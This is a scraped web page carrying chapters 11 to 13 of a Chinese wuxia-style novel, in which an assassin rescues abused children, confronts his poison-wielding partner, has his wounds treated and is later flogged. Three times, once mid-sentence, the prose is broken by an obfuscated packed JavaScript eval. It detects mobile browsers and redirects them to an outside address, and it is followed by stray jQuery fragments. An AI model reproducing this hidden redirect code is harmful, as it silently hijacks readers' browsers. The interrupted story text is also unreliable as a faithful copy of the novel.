他又违规了,偏偏司正大人正在屋上监视,可这群孩子被吓坏了,他得让他们快些动起来,自己跑出去。孩子们看清沈墨的脸,依旧对他充满戒备,但如今顾不得这些:“我是阿绫找来救你们出去的,自己能跑吗?坏人快来了,要抓紧时间。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887572|192075||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他们似乎都认识阿绫,这个名字对孩子们而言更加令人安心,稍大些的男孩最先反应过来,他用力点了点头,哆嗦着去拉阿萝,和另一个更小的:“走吧,我们。”他这么说着,带头踉跄这爬下床。然后剩下两人像小鹌鹑似得跟着他。三个孩子就这么互相搀扶着,他们紧紧靠在一起,不知道该往哪里跑,惊惧的目光在沈墨和呆立原地的崔霖之间来回游移。
沈墨瞥了一眼依旧如同泥塑木雕般的崔霖,他的目光始终凝固在崔明仲的尸体上,手中的剑早已放下,剑尖点地。他整个人仿佛被一种巨大的静寂与虚无所笼罩,外头的火光透过窗他脸上跳动,明明灭灭,却照不进他空洞的眼底。
他的任务并不包括杀了他,沈墨吐了口气,他不再犹豫,将最小的那个孩子夹在臂弯,对那个稍大的男孩和阿萝低喝:“跟紧我!”
而这声让崔霖清醒了点:“站……站住……”他几乎是下意识对沈墨这么说,但沈墨知道,他身上已经没有杀意了,甚至连重新举起剑的理由都消失了。
“你要让这三个孩子给他陪葬吗?”沈墨冷声问。
崔霖的身子猛地一震:“我义父他……是朝廷命官,百姓都认他做父母官。”他幽幽吐出这句话,却不像是说给沈墨听的。
“呵。”沈墨冷笑,都什么时候了他还在自欺欺人:“你看清楚!”沈墨的目光如冰锥刺向他:“你看清楚你护着的是个什么样的畜生,看看这些孩子被他折磨成了什么样子!”
崔霖抬头,火光里,三个半大的孩子在他面前,他们浑身都是伤,脸上写满了恐惧,他们只一心一意想逃走,就好像过去的他一样。
他看见了,他一直都知道,他只是……只是装作没看见,只是告诉自己一直忍耐下去就好了……可是这怎么可能是一个年幼的孩子能够忍受的了的呢?!
崔霖松开了手中的剑,他看向眼前的刺客,从他露出脸的那一刻,他便觉得他有几分眼熟。
崔霖忽然想起白天那个灾民女子冷清清的话:“他比大人勇敢。”他现在明白了,是啊……真勇敢啊,眼前这人敢毁灭一切,包括别人赖以生存的、肮脏的幻梦。
“带他们走吧。”崔霖让开身位,他错了半辈子,最后的最后他也许能做对一件事。
沈墨不再看崔霖,他也不管身后的烂摊子,身形一闪,便抱着孩子从之前潜入的侧窗翻了出去,男孩看了,咬牙也拉住阿萝,跟着翻出窗外。
转瞬房间内只剩下崔霖,一室狼藉,义父的尸体半躺在床上。
窗外救火的喧哗声、奔跑声、器物碰撞声越来越清晰,他从侧窗望出去,后房的火似乎没控制住,火光把天边映得一片通红。崔霖缓缓地转动了一下头,他不再看窗外,而是望着义父那狰狞可怖的死状,而后目光落在锦被上那柄染血的白玉戒尺上,那曾是他用来“管教”孩子们的东西。
崔霖忽然扯动嘴角,似乎想笑,却只发出了一声比哭还难听的哽咽。他是崔霖,崔明仲的养子、护卫、是他养的一条听话好用的狗。可这是他选择的,因为崔大人身边,他仅剩的“家”。令人恶心的疼爱、无法诉说的痛楚、义母那块很甜的桂花糕,他一直很怀念,却一次都没有给自己买过,他不敢。
但如今再没有任何能让他害怕的事了,手臂的伤传来阵阵刺痛,那名刺客剑法技艺精湛,仅仅与他交手数回合伤口便裂开了,可惜以后再没有交手的机会了。也许这样便好了,那个崔霖用尽一切、甚至毁灭自己来维系的“家”,那个给予他温饱也带给他无尽噩梦的“意义”,今夜已经被那柄青灰色的剑彻底戳穿、毁灭了。
崔霖闭上眼,他深深吸了一口带着血腥味的潮湿空气,将颤抖的身体重新绷直,如同过去千百个夜晚一样。然后他拿起床头的烛台,将灯油倒在床上,扔下灯。
火苗“呼”地窜起,火烧的非常快,热浪顷刻便迎面扑来,可崔霖却没有往外逃,他在门口站定,背对着开始蔓延的火焰,面向门外闻声赶来的更多护卫,嘶声喊道:“先进来救人,崔大人快不行了!”火焰在他身后吞噬着墙壁、房梁,浓烟滚滚而起。
11. 第 11 章
沈墨看着身后燃烧着的房屋,人都朝那边去了,火光中隐约听见崔霖的声音,让下属们先救人。可崔大人已经死了,他也明明没有在尸体上放火。
那个人,会从里头出来吗?一个让人不怎么愉快的念头划过沈墨脑海,但随机他便摇了摇头。任务完成,人也平安救出来了,他们已经出了宅子,隐约能看见阿绫朝他们跑过来了。
“倒霉鬼!”这称呼可真不怎么好听,沈墨撇了撇嘴,但是还没等他开口抱怨,跟在他身后的小女孩却先开口了。
“姐姐!”阿萝听到熟悉的声音,一下子不知道哪来的力气,便往前头跑:“姐姐……姐姐!”她直接撞入姐姐怀里,把阿绫弄得又喜又怕。
姐妹俩一抱上她便惊叫出声:“你身上怎么都是血!哪里受伤了?”
“不是我……我没……姐姐……”阿萝本想解释,可因为到了姐姐怀里安心了的缘故,一下子就哭了出来,连话都说不好了。
远远看着姐妹俩,沈墨今晚也是笑了出来,比起杀人,果然还是这种时候让人心情更好:“你们有家回吗?”他转头问另外两个,他们摇了摇头。
“家被水冲走了。”小些的孩子哭到。
大些的男孩默不作声,他伸手抓了沈墨的袖子:“恩人我们现在去哪里?”
这声“恩人”叫的沈墨有些不知所措了,他挠了挠头,打哈哈的干笑。他过去只管杀人,救人都是第一次,哪里想好了怎么安顿。
阿绫抱住妹妹,她看着那人,心里生出些疑惑,他到底是靠得住还是靠不住呢?明明身手那么厉害,又总让人觉得缺根弦的样子:“喂……”
阿绫那声“喂”还没叫完,她便看到一只小箭朝她面门飞来。沈墨来不及拔剑,他用手生生挡住那只袖箭,铁制的箭镞穿透了他的掌心,她的箭是有毒的,伤口附近的皮肉立刻被染上黑色。
顾青衣!
沈墨朝着她的方向望过去,四支箭羽依次飞来,他拔剑挡住:“你们快跑。”他对孩子们吼道,她是比崔霖更难对付的人。
阿绫完全不知道发生了什么,可她知道这种时候几个人留在这里只能给他添乱,她护住妹妹:“我们快走,我们……”
“快走别废话了。”沈墨可不想听到她说出更多她们准备怎么做,要去哪里藏身,以后该怎么办之类的话,因为现在说出来的话,顾青衣也会一并听了去。
阿绫她们拔腿往巷子深处跑,追着他们的几支箭被沈墨一一挡下,顾青衣从暗处现身,她欲追,沈墨却挡到了她面前。
顾青衣皱眉:“沈墨,规矩,他们看到你的脸,看到你杀人了。”
沈墨几乎要笑出声来,这条规矩,让她毫不犹豫的对四个孩子下手。
巷子里的空气仿佛凝固了,两人一时都没再开口,他们凭着杀手的本能压抑着呼吸,耳边只剩下远处火场的噼啪声。沈墨的右手,掌心里嵌着她那枚有毒的小箭,伤口的血停不下来,顺着指尖不停的滴落,在地上染出血花。而那麻痹的刺痛也正随着毒性,从掌心往整只手迅速蔓延,他换了左手剑。
顾青衣没再追击,她的视线越过沈墨,看了一眼抛入黑暗中的孩子们,她静默的站着,小臂上的袖箭机匣在月色下泛着冷光。“让开。”她轻声说,声音平静冷然,没有丝毫温度。
沈墨摇了摇头:“青衣姐姐。”他虽嘴上这么亲昵的喊她,实际上却横剑在胸,非雨刚吸饱了血,此时剑身居然呈现诡异的暗红色。“他们不是任务对象,只是几个小孩子。”说实话他不知道该如何劝说傀,她是没有心的,自然不会懂什么是同情,什么是爱护。但是自己能阻挡她多久呢?五招?十招?他左手剑并不如右手利落,但这并不会是她手下留情的理由。
可顾青衣却并没有急于攻过来,只是重新调整了袖箭的机栝。“你的手。”她突然开口提醒道:“不解毒会废掉。”解药就在她身上,可她没打算主动给。
沈墨扯动了嘴角,这算什么?威胁,贿赂,还是交易?她什么时候也会动这种脑筋了?掌心蔓延的痛楚告诉他,她说的是真话。可是他有的选吗?那几个孩子是他今晚好容易救下的,因为看了他的脸,看到了他杀人便要被处理掉?他倒像是个比崔大人更可怕的“瘟神”了,那还不如处理掉他。
“那也得挡着啊。”沈墨声音开始有些嘶哑,左手执剑非但没退,反而身子往前半步,只是步子已微有些不稳,失血和毒素的影响大约比他自己估计的更糟,毕竟是她亲自调配的毒。
顾青衣沉默着,那双总是漆黑平静的眼眸直直盯着他,里头似乎有极其微弱的流光一闪而过。
这种时候他不会是她的对手,可为什么?为什么他宁愿自己的手废掉也要保护萍水相逢的人?
“他们……”顾青衣的视线再次投向空荡的巷口,孩子们已经跑远了:“会泄露你的身份,导致你我都暴露,危及黯月阁安全。”
沈墨叹了口气:“青衣姐姐,他们只是孩子。”是啊,被吓坏了的小孩子,只有一个会杀人的大哥哥愿意救他们,倒霉透了,也糟糕极了。“他们连县城都出不去,况且阿绫那丫头精明着呢,她只在乎妹妹,根本不想和我们这样的人扯上关系。”是的,沈墨估摸她会带着妹妹躲得远远的,那孩子有着狐狸般的直觉,知道什么样的人能信任,什么样的不能,她从没信任过他。这很好,出身不好的孩子,机灵的总能活的久些。
“这不可信。”顾青衣皱眉,他既已知道那个叫阿绫的孩子有些小聪明,却还给她看了脸,看了剑,他违规的彻底:“沈墨,让开。”
沈墨再次摇头:“青衣姐姐,我不会让的,如果你在此判定我是违令的刀……”他的右手无力的垂着,左手却将剑握得更紧,剑尖指向顾青衣。他也不想这么快就和新的司正闹矛盾啊,可戏演到此便要落幕也是办法的事,那些命令他不想听,那些规矩他也不想守。
对他而言,总会有更多事比阁主的命令更重要,他和她是不同的。
顾青衣看着沈墨的剑,不听话的刀就该折断,可阁主对沈墨,关照总是多些。他初次叛逃他并没有折断他,反而给了他第二次机会,这次的任务也是,阁主命令“一切交给他”,“必要时杀了他”。沈墨完成了任务,现在也并没有想逃的意思,那么她便没理由让他死。可他阻止她杀人,违令,当罚。
顾青衣动了,她的身形在原地模糊了一瞬,下一刹她已如鬼魅般欺近沈墨右侧,他右手重伤,整个右臂垂着,身侧便是空门。顾青衣袖中寒光一闪,这次并非小箭,而是一柄银亮的匕首。她从右侧攻,刀路却直指他左肩,她要卸掉他持剑的能力,却并未打算在此时要了他的性命。傀就是这么判断的,于是她的动作精准、干练,没有丝毫的感情,没有多余的犹豫。
沈墨瞳孔骤缩,他左手举剑本能地回撩格挡。“铛!”一声金铁交鸣,在寂静的巷中格外刺耳。他确实挡住了,但左臂被震得发麻,脚下不稳,踉跄后退半步。她就算不欲取他性命,也没有丝毫手下留情。可此时沈墨又怎可能是她的对手?
顾青衣没有给他喘息之机,她的攻击如疾风骤雨,却又精准地避开要害。短刃化作一片冷光,点向他左腕脉门、肘弯,她欲让他弃剑,可沈墨虽闪避格挡失了章法,却还勉强维持着身形。怎会如此?明明他每一次动作,都应感受到被穿透右掌传来钻心的剧痛,毒素带来的麻痹感按理也会很快侵蚀他的右半身。
可五招过后,他还挡在她身前。
顾青衣第一次用了杀
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887573|192075||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
招,她手腕翻转,匕首宛若银叶飞花,她合身扑入他怀中,一息之间沈墨被她逼到墙边,他的背脊重重撞上冰冷的砖石,而顾青衣的短刃抵上了他的喉间。她的脸近在咫尺,依旧没什么表情,只是那双漆黑的眼眸,极近地锁着他的眼睛。
“最后一次,”她冷静的开口,气息平稳没有丝毫波动:“让开,或者我废了你左手。”
可听了这话,沈墨并没有放下非雨,他没有求饶,他依旧在笑。
沈墨的呼吸逐渐失序,额发被冷汗浸湿,贴在苍白的皮肤上。喉间的利刃和右身叫嚣着的痛楚都在警告他,顾青衣从来说到做到,她不是同他说着玩的。但他只是看着她近在咫尺的眼睛,那里映着自己狼狈的倒影。
他明明想着起码在新的司正面前先演一段时间听话乖巧的,可这么快就暴露了,真是太糟糕了。
他用力,将左手的“非雨”猛地向上一抬!
这不是攻击,而是近乎同归于尽般的动作,剑锋擦着顾青衣的短刃向上,直逼她面门,全然不顾自己空门大开。顾青衣眉头微蹙,短刃本能地一收,格开剑锋,空着的手亦如电般探出,瞬间扣上了他左腕脉门,力道之大,几乎要捏碎他的骨头。
“呃!”沈墨闷哼一声,他左手五指却收紧,非雨没有如她预想般坠地,哪怕他整个人都已经被她钳制,右手的伤、左腕的禁锢、全身毒素流窜和失血……他早该无力反抗,可他就是不服软。
为什么?
顾青衣不明白,她看着眼前人,他甚至还未到加冠的年纪,便已经是阁中数一数二的高手。或者是因为他的脾气总也还和少年人一样,从来都不肯被驯服?
沈墨不是她监视的第一个杀手,每个与她争斗到这般地步的人,眼睛里不是看不到恐惧或者仇恨,但随着时间流逝,那些情绪总会消失,变为死寂一般的空洞,不问缘由的服从。可沈墨便是中了毒,眼睛在昏暗的光线下亮得惊人,她看不到他有所恐惧,亦看不到他有丝毫动摇,他只是不知从什么时候收敛起了那个玩世不恭的笑容,认真的挡在她身前。
疼痛让他的额角渗出冷汗,失血让他的面色愈来愈苍白,可他的眼睛里映着一簇明明灭灭,却不肯熄灭的火,那是她从未在阁中其他人处见过的执念。他想像个人一样活着,不肯消失……
那好像再说,除非她能杀了他,否则今夜他是不会让开的,他在用命去保护几个毫不相干的陌生人。
顾青衣的手指扣在他脉门上,她能清晰地感受到他血液在皮肤下狂乱地奔流,脉搏快得惊人。毒不是没在他身上起作用,他肉眼可见的身体开始颤抖,如过在继续下去,他的右手真的会很麻烦。
就在这时,远处宅邸方向的喧嚣达到了一个新的高峰,一声“大人遇刺了!”的凄厉呼喊隐约传来,打破了巷中凝滞的死亡气氛。
顾青衣松了手,最坏的选择就是他们继续在此地争执,她重新与他拉开一小段距离。“先离开。”她命令道,然后抓了他的右手,往他掌心囫囵倒上药粉。“等到了安全的地方我替你把箭取出来,你的手还要留着。”
沈墨有些怔愣的任由她牵着手,方才她还一副快要杀了他的架势。而后却听到她补上:“我会禀报阁主,你回去要领罚,那几个孩子我会处……”
“顾青衣!”他染血的手扯住她的手腕,这好像是沈墨第一次喊她的名字,带着焦急的惶恐:“他们没有威胁,他们只是孩子!你没有……”可她是不会因为这种话就有所动摇的,看到她平静的眼神,沈墨就明白了。但是他同样也明白了,他对她而言还有用。他将染血的右手握紧:“你若不答应放了他们,我便不让你处理这伤。”
他是疯了吗?顾青衣平静的脸上,第一次显出些许动摇。
12. 第 12 章
他们最终落脚的地方,并不是城东那座破败的观音庙,有灾民在那里聚集,不是个处理伤口的好地方,他们两人去了白日的粥棚。衙役们被调离去处理崔大人遇刺,灾民夜间也不允许聚在这里,倒是个能够暂时藏身的地方。
顾青衣扶着沈墨,他被消耗的厉害,双脚已经开始打软了。他靠着她,却多出了与她絮絮叨叨的心思:“杀了崔大人……明日这里怕是开不了了,朝廷官员死在这……上头还会派人来查,又给人添麻烦了……”
“所以说,若是张了榜,下了赏银……”顾青衣提醒他,果然还是该把隐患都处理掉。
为了维持清醒,沈墨用力呼吸:“那会儿,我们早便回去了。”
“但……”见顾青衣还要再说下去,沈墨只恨自己没能生出第三只手,掩住她的嘴。他现下右手伤着,左手被搭她肩上,没多的了。
“青衣姐姐,他们这辈子都上不了京的,不会再见到我了。”沈墨说的是事实,在这种地方,他们能活到成年便是极好命的了,穷苦人家的孩子,一辈子都翻不了身。
顾青衣看了一眼他垂着的右手,她答应不清剿孩子们后,沈墨听话多了。他收了剑,乖乖给她拖着,她说往哪走就往哪走。为什么这么轻易便认定她不会欺骗他呢?这一点顾青衣也不太明白。
“那边,去坐下吧。”她寻到了一处相对干燥的角落,背着风口,等会儿血腥味和声音,不会传的那么远。
沈墨没再逞强,他背靠着墙缓缓滑坐在地。一松懈下来,右手掌心和身上各处伤口积累的疼痛、毒素带来的麻痹与寒意,诸般的不适如潮水般将他淹没。他闭上眼,深深吸了口气,潮湿的空气中血腥味如影随形,只是这次,大部分都是他自己的血。
耳边传来窸窣的声响,沈墨睁开眼,他看见顾青衣已经从她随身携带的包裹里翻出一样不起眼的木盒。她打开它,里头是码放整齐的各类小瓶、药粉、纱布,还有几样泛着寒光的工具,镊子、薄刃、钩针。她要开始替他处理伤口了,这倒并不让人担心,他们虽不是医者,但处理外伤一事也算熟稔,青衣姐姐在这方面手艺是极好的。
她点燃了火折子,伤口还是需得照的亮些才能行事,然后她在沈墨面前蹲下,依旧是平淡冷然的表情,但火光在她侧脸上跳跃,竟让轮廓看上去有了些暖意。
“手。”说着她将目光落在沈墨惨不忍睹的右手上。那支她射出的袖箭还深深嵌在他的掌心,半截箭杆被他的血染的透红,周围皮肉因毒而呈现不祥的青黑色,肉里散发出腥苦的气味。
沈墨听话的将右手伸过去,被她抓住指尖的时候,动作间牵扯到伤口,他嘴角细微地抽搐了一下,但没发出声。
顾青衣没有立刻动手,她先是用一块干净的布巾擦拭了他手掌周围的血污。她并没有多注意力道,粗糙的布磨过肿胀的皮肉,带出一阵尖锐的刺痛,沈墨咬紧牙关,新的细汗从他额角渗出。顾青衣觉察到他僵硬的指尖,可她并没有在意,她拿起那柄细长的镊子在火上烤了烤。没有药剂,没有安慰,甚至连一句“忍着点”都没有,她便将那玩意探入箭尖与皮肉的缝隙中。
“呃!”沈墨浑身猛地一僵,他从喉咙里挤出一声压抑到极致的闷哼,手下意识的想要往回缩,却被她牢牢握住。那感觉不是单纯的疼,是冰冷的器具在血肉里搅动,牵连皮肉异物感,混合着毒素所带来的灼烧般的疼,每一样都让人难以忍耐。沈墨的左手指甲深深陷入掌心,他整个人都开始发颤。
烛光让顾青衣的睫羽投下阴影,她整个人依旧是冷定的,她的动作稳定精准,没有丝毫犹豫或怜悯。拔出箭她才能上药,但她的箭头有金属的钩刺,若想不连着血管皮肉一起拔出来,她就必须仔细分开它们。银镊在血肉中深入、拨动,每一个微小的动作都让沈墨的呼吸收紧,他的脸色渐渐开始变得惨白,不知何时冷汗已经浸透了他的额发和里衣。可他依旧死死咬住下唇,所有的痛呼都被他锁在喉咙深处,只有压抑的、沉重的喘息在寂静漏风的棚子里回荡。
终于顾青衣分开了左右粘连的皮肉,她放下镊子捏住箭,以极快的速度往外一拔。
“噗嗤。”一声,没有钩连血肉,只是箭头被整个拔了出来,肉//洞缺了堵上的东西,暗红的血立刻从伤口涌出。
疼痛令沈墨的身体剧烈地痉挛了一下,拔箭的瞬间他眼前瞬间发黑,几乎晕厥。他猛地仰头,后脑重重撞在身后的砖墙上,发出沉闷的钝响。顾青衣对他的痛苦视若无睹,她迅速将染血的箭镞扔到一边,然后拿出盒中一瓶药粉,一下快将一整瓶倒进了那个汩汩冒血的伤口里。
“嘶……”沈墨倒抽一口冷气,这次连闷哼都发不出了。药粉接触血肉的瞬间,伤口周围的皮肉竟被染成了粉色,肉眼可见的白烟从伤口上冒出,这痛感比拔箭更甚,沈墨整个右臂都僵直了,他的身体不受控制的绷紧,颤抖,就连那惯是翘起的嘴唇此刻也苍白如纸。
顾青衣甚至没有看他一眼,她拿起一叠纱布用力按在了伤口上,然后用多余的部分将他的手掌一圈圈包扎好。她根本不知温柔为何,对待沈墨仿佛他是块没感觉的木头,直到包扎完毕才又一次看他的脸。
沈墨已经说不出话了,他双目微合,勉强抬手看了一眼,伤口都处理好了,不愧是她。
这种时候能晕过去反倒是种幸运,然而可悲的是,这种程度的伤却远未到他能承受的极限。
“毒我也清了,不会有后遗症的。”顾青衣告诉他,然而这句话在沈墨听来没什么值得高兴的。他靠在墙上,只是看着她。
“青衣姐姐……你把我伤成这样……”他的声音听上去虚弱了许多。
顾青衣收好木盒:“你违令在先。”她好像是在表达,错的人是他,这人怎能过分成这样。
他很痛,也好累,可是不能睡,刺杀已经完成了,既然被人看到了脸就要尽快离开……他都知道,都知道但就是不想动作,她甚至连歉都不会道。在傀眼里,杀伐果决才是正确的,他在她眼中,是否与眼前这口盛米的陶缸都没什么去别呢?只是用处不同。她没把他当人,也许……就和娘亲一样……
一只水囊被递到沈墨唇边,沈墨一瞬间没有反应过来她在做什么。“喝点水。”顾青衣说:“休息半个时辰我们要启程,你流了很多血。”
她都看在眼里,她什么都注意到了……
沈墨看着她手中的水囊,又看了看她,片刻后,他用还能动的左手接过,仰头喝了几口。清水确实让刺痛的喉咙感到些许清凉和滋润,比什么都没有强,沈墨想。
他将水囊递还,顾青衣接过重新系在腰间,然后她熄灭了火折子,就这么安安静静坐在他身边。
没人开口说话,也没人发出声响,只是顾青衣偶尔抬头看看天空,用星辰月相的变化记录时间,然后安静等待着那个“半个时辰”后。
此时此刻倒是不会有任何人再伤他了,刚才那写剑拔弩张的气氛早已消逝无踪迹,那些尖锐的、不讲道理的,试图置对方于死地,或是逼对方就范的情绪,都暂时偃旗息鼓了。
沈墨闭上了眼睛,他试图放空思绪,通过调整呼吸缓解掌心的疼痛,但不合时宜的奇怪念头却在这时冒出来。
箭是她射的,毒是她下的,伤是她亲手处理的,过程粗暴得毫无人性可言。那为什么他还敢信她,还想她……待在身边……
…………
破败的观音庙里,漏雨的角落滴滴答答,从宅子里一起跑出的另外
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887574|192075||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两个孩子已经蜷缩在角落里睡下了,阿绫则抱着妹妹。她撕下自己里衣的一角,蘸着夜里积下的雨水,小心擦拭着妹妹阿萝脸上干涸的血迹。
“疼吗?”阿绫问,她声音压得很低,却藏不住怒火。那个畜生已经死了,阿萝的脸都肿了,她还不愿意告诉自己,这段时间究竟发生了什么。
阿萝却懂事的摇摇头,但片刻后又点点头,大颗的眼泪无声滚落,混进污水中,从跑出来后她紧紧攥着姐姐的衣角,一刻都不敢放开。
“那个人……”阿萝小声开口,声音嘶哑,“那个救我们的大哥哥……姐姐是怎么认识……”她不敢回忆宅子里的那些事,她只想同姐姐说些好事。
可阿绫却打断她:“把他忘了,阿萝。”阿绫擦拭她的动作没停,语气却斩钉截铁,“阿萝你听好,今晚发生的一切都忘掉,我们没见过什么大哥哥,也没进过什么大宅子。崔大人……他是京城里来的大官,我们怎么会认识呢……”她感激那人救了她的妹妹,但她也看见了他的同伴是想对她们下杀手的,那些人那样厉害,不是她们能扯上关系的。
阿萝听话,她虽似懂非懂,但姐姐说什么她便做什么,乖乖闭上了嘴。
阿绫擦完妹妹脸上的血迹,又摸了摸她身上那些触目惊心的淤青和伤疤,从胸口、后背一直向下延伸……那些疤痕的位置让阿绫的心脏像被一只冰冷的手攥紧,她能猜到大概,可阿萝不想说,她就不问。
阿绫深吸一口气,她从怀里掏出一个破破烂烂的布包,里面是她这些天偷偷攒下的、寥寥无几的铜板和半个硬得像石头的馍。她把这些一股脑塞到妹妹手里:“狗爹不会回来了。”阿绫的声音里带着颤,但她下定了某种决心,她要保护她:“就算回来,我们也走,他把你卖个那种畜生……”
“姐姐,那我们去哪儿?”阿萝茫然的问。
“不知道。哪里都比这里好。”阿绫替她捋了捋头发,望向庙外渐亮的天光。时候不早了,云层后透出淡淡的灰白,她知道明日、后日、大后日都不会有人施粥了,可能县太爷还会在城里抓人。她握紧了妹妹的手:“我们靠自己。我能找吃的,能偷……不,能找活儿干。你跟着我,别乱跑,往后我保护你。”
“那……姐姐……能不能带上他们一起?”阿萝指了指两个在宅邸的同伴。
阿绫点了点头:“当然,阿萝想就带着,人多好帮衬。”
心意都被姐姐允了,身上的伤也被处理了,姐姐也在身边,阿萝终于开始有了倦意,可她眨了眨眼睛,想睡又不敢睡。天都快亮了呀,姐姐说要跑。
阿绫一眼就看穿了她在硬撑,用手蒙住她的眼睛:“想睡就睡,姐姐这次不会再把你丢下了。”
这对她来说是比任何话都要令人安心的保证,可是在入睡之前,她还有一个问题:“姐,”阿萝迷迷糊糊地又开口,“那个大哥哥……他是好人吗?”
阿绫沉默了一瞬:“鬼才知道,但他就是个倒霉鬼!”这一点她可以确定。
“倒霉……鬼?”阿萝越来越迷糊,还没说完就睡着了。
阿萝抱着妹妹,她想起那人挡在她们身前,被箭射穿手掌的样子,想起他摘下面罩后那张苍白却带着奇怪笑容的脸。他是个很厉害的人,也是个很麻烦的人,敢杀那么大的京城官员,谁知道他背后是是什么样的势力。和那样的人扯上关系,是不会有好下场,阿绫很清楚这一点。
所以想那些有的没的作甚,她眼下该考虑的,是下一块铜板该怎么赚,下一口吃食要怎么找,她要和妹妹一起活下去,往后她会保护好她的。
天开始放亮,晨光开始一点点驱散观音庙的阴影,阿绫看着那尊残破的垂泪观音像,她一手抱着妹妹,一手轻轻拜了拜。
13. 第 13 章
入夏了,白日里的时间越来越长,虫吟蝉鸣不绝于耳。黯月阁的位置选的是极好的,京郊,离皇陵近,不过是前朝的皇陵。这地儿每代皇帝都想把它掘了毁了,可每次一动这念头都会死人,可不是死的干活的苦力,而是宫里的贵人,时间久了便也没人敢管了,树木疯长、杂草茂盛,进来后山谷的烟尘还让人看不清路,黯月阁便是建在了迷雾深处。据说是因为阴气重,往年夏季阁中是不怎么热的,可今年不同,各地多雨,空气又潮又重,这里许多地方又不见阳,便让人觉得闷。
就连顾青衣都把暗色的劲装脱了,换了白衫轻裙在阁中走动,可这去药房一来一回,细汗还是透了背,但她也没停下歇息,只是手里拿着药箱,往自己的听风小筑去。
沈墨又躺了,两人回来后她如实上报了他做的一切,任务完成的干净利落,却让不相干的人看了脸,还阻止她清除隐患。于是沈墨去刑堂领了三十鞭,旧伤未愈,又添新伤,于是他这三日只得俯趴在床上,顾青衣照顾他日常起居。这好似又回到两个月前,她穿过回廊,一切看上去都没变,人也好、物也好,她已经在这里待了十五年,每次从这条回廊往小筑看去,似乎都是一样的风景,除了她身边换了不同的人。
“……青衣姐姐……”顾青衣刚到门口,里头人就觉察是她了,也不知是怎么分辨的,她走路明明没有声音。
顾青衣推开门,便看见沈墨赤身趴在床上,又叠了三十鞭,天太热若是把伤口都裹起来,反而容易闷汗感染,于是便整个敞着。远远看过去,沈墨背上是一片血肉模糊,伤口边缘翻卷,皮肉透着不健康的粉,甚至因为屋里太过闷热,靠近他时能嗅到淡淡的腥味。沈墨也是热的蔫了,他没精打采歪着头,下巴垫在交叠的手臂上:“青衣姐姐,好热……”他懒懒抱怨着,头都不想动了,就眼珠子转向她。
“换药。”顾青衣走到床边,她放下药箱,手里的布巾还未碰到他,他竟侧身躲了躲。
“等会儿吧,青衣姐姐,等太阳落山。”沈墨的声音带了点伤后的沙哑,还有一丝被他故意拖长调子的慵懒,他在同她讨价还价:“热得慌,动一下都觉得黏糊糊的,这鬼地方往年没这么闷啊。”
顾青衣淡淡陈述:“今年雨水多。”她手没停,扳过他的肩膀,把蘸了水的布巾按到汗湿黏连的伤口上。沈墨没忍住轻吸了口气,他的后背微微绷紧,蝴蝶骨在一片血糊糊的伤口下轮廓隐约可见。
他侧过脸,目光撞上她沁着细汗的鼻尖。她明明也热,还非要现在替他换药。凉水沾在伤口上,擦掉了那些黏腻的药膏,可伤口并没有因此舒缓多少,反而泛着灼烧般的痛感。很难受,但没办法啊,他只能忍着。
“青衣姐姐……药阁的冰窖,今年还开着吗?”沈墨将头埋进臂弯里,声音听上去有些发闷。
顾青衣擦拭的动作顿了一瞬,她抬眼看他,没看到正脸。他又在想什么呢?她倒也不用猜,他自己会说的。
“就……想碗冰镇酸梅汤,或者一碗刨冰,淋点蜂蜜……”沈墨果然继续说了下去。他边说边自己咂了咂嘴,光是想想便口舌生津。“嘴里发苦,身上又热又疼……想想那个滋味都能舒服点儿。”他越说,语调里那些渴盼就越显得真实。
然而顾青衣不为所动,她垂下眼睛,继续手里的动作:“你伤未愈,忌生冷。”
“啧,一口,就一口。”沈墨不死心,他声音软了些,带着点试探:“要不……半口?含在嘴里化了也行。青衣姐姐,你就当发发善心……”
“不行。”顾青衣打断他,这次语气里带上了不容置喙的意味:“阁中物资调配皆有定例,冰品非你疗伤所需,不在供给之列。”
沈墨不说话了,只是把脸更深地埋进臂弯里,过了一会儿,才闷闷地传来一句:“规矩,又是规矩……知道了……”
她又不是第一次拒绝他,明知道她不可能答应,沈墨还是会一次次同她说话。只是今日着实是太闷热了,他问完便趴在床上不出声了,整个人恹恹的。顾青衣也说不清吵吵嚷嚷的沈墨和安安静静的沈墨,究竟那个比较好,也许哪个都不好,不够听话,也不够忠诚,但是他是她手里的刀,她总该好好保养他:“下次别再违令了。”
“……”沈墨把头埋的更深了,他耳尖动了动,但装没听见。
顾青衣将伤口边缘擦拭干净,用布巾浸了药:“凌人萧把阁主派给你的任务抢了,这个月你可以休息。”
“……”这算是好消息,沈墨脖子微动了一下,但他还是没回头。
